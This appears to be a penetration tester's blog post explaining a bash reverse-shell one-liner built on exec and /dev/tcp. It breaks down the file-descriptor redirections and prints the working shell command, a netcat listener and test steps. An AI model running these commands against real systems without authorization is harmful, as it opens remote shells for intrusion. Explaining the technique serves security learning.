"A Gnarly Looking Shell Command " Explained!

Here is a one-liner I recently used on an op that a teammate called a "gnarly looking shell command." And he was right. This is gnarly looking:

sh -c $@ | sh . echo 0<&196;exec 196<>/dev/tcp/X.X.X.X/NNN; sh <&196 >&196 2>&196

My team lead came up with it with it for me about a year ago on a gig where we had RCE but the easier shelling methods were failing. I saved it in my notes and pulled it out the other day because we had RCE on a similar target.

Anyway, seeing a command like that warrants pause and consideration unless you are fluent in command line interpreter lexical structures, and though I know enough to be dangerous, I wanted to better understand the magic of what was happening at a more technical level. So, I thought I would write this all down and share it with everyone.

While writing this blog post; I found some ways to clean it up a bit and make it easier to understand. Let's cover this version of it instead:

exec 196<>/dev/tcp/; sh <&196 >&196 2>&196

There are two parts to this one liner:

exec 196<>/dev/tcp/;  
sh <&196 >&196 2>&196

Let's start with the first half and break down what each piece means in detail.

exec is a builtin that executes a command and completely replaces the existing process. When no command is specified, any redirections take effect in the existing process.

This must be used instead of sh or bash because issuing those commands would start a new process to run the command line interpreter in. Even though a connection will be made to your netcat listener, the victim will not run the commands you send to it. See below:

root@thrillz:~# echo $$
root@thrillz:~# bash 196<>/dev/tcp/ & echo $$; sh <&196 >&196 2>&196
[1] 81771
bash: 196: Bad file descriptor
root@thrillz:~# echo $$

[1]+  Stopped                 bash 196<> /dev/tcp/
root@thrillz:~# fg
bash 196<> /dev/tcp/
root@thrillz:~# echo $$

Though your netcat listener will see an initial connection, it will fail to send commands back to the target:

nc -lvp 66
listening on [any] 66 ...
connect to [] from localhost [] 38804

Basically, the two halves of the command are now running in two different processes which breaks the use of your file descriptor.

196 is a an arbitrary value for a file descriptor. A file descriptor (fd) is a number, like a variable, that is used to access and redirect standard input, output, a file, or as in our case a network socket.  

Here are the three standards I am sure most of you have at least heard of before:

0 Standard Input
1 Standard Output
2 Standard Error

196 comes up a lot in these reverse shell examples on the Internet for some reason or another. But this works just as well when using the number 3 instead of 196: 

exec 3<>/dev/tcp/;sh <&3 >&3 2>&3

The rules for file descriptors are:

- Must be an integer starting at 0
- Must be a positive number

<> is a redirector that uses "/dev/tcp/" as both standard input and standard output. 

/dev/tcp/ is a device file that exec is accessing via the fd, both for sending and receiving by way of the "<>" redirector. 

To sum up, exec is creating a bidirectional TCP connection to on port 66.

The semi-colon at the end of this first half simply tells the command line interpreter to execute the following command in sequence.  It is basically telling your CLI that there is a newline. 

The second half of the one-liner begins with "sh" because we want the commands sent over the TCP connection via netcat to actually execute by a command line interpreter. 

<&196 is redirecting fd 196, that is to say the command received via netcat, and executing it.  Therefore, issuing the "id" command on the netcat server is akin to issuing "sh -c id" locally on the target. That now leaves the matter of command output. 

>&196 redirects standard output to fd 196, aka the netcat session. 

2>&196  redirects standard error to fd 196. 

We cannot use &>196 to redirect both stdout and stderr to a fd because this redirector will create a file called 196 and send stdout and stderr to it, assuming you have permissions to create the file. 

And that is all there is to it!  To test this, simply start a bash terminal and type:

nc -lvp 66

and in another terminal type:

exec 196<>/dev/tcp/;sh <&196 >&196 2>&196

You can now issue commands in your netcat server and they will run as if you were sitting at the terminal of the target system. This works the same way on remote systems, but you may have to keep traffic patterns and firewall rules in mind. 

Thanks for reading!

Find us on Twitter: @teamWTG 

Popular posts from this blog

The Audacity of Some CTFs

Code Name: Treehouse of Horror CTF

2020 HTH CTF - Cloud Challenges